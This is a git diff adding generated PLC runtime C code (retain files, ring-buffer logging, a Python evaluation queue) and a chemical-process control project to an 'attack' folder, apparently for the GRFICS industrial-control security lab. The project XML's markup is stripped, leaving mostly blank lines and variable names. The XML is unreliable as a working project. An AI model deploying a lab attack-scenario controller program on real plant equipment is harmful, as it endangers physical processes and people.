diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 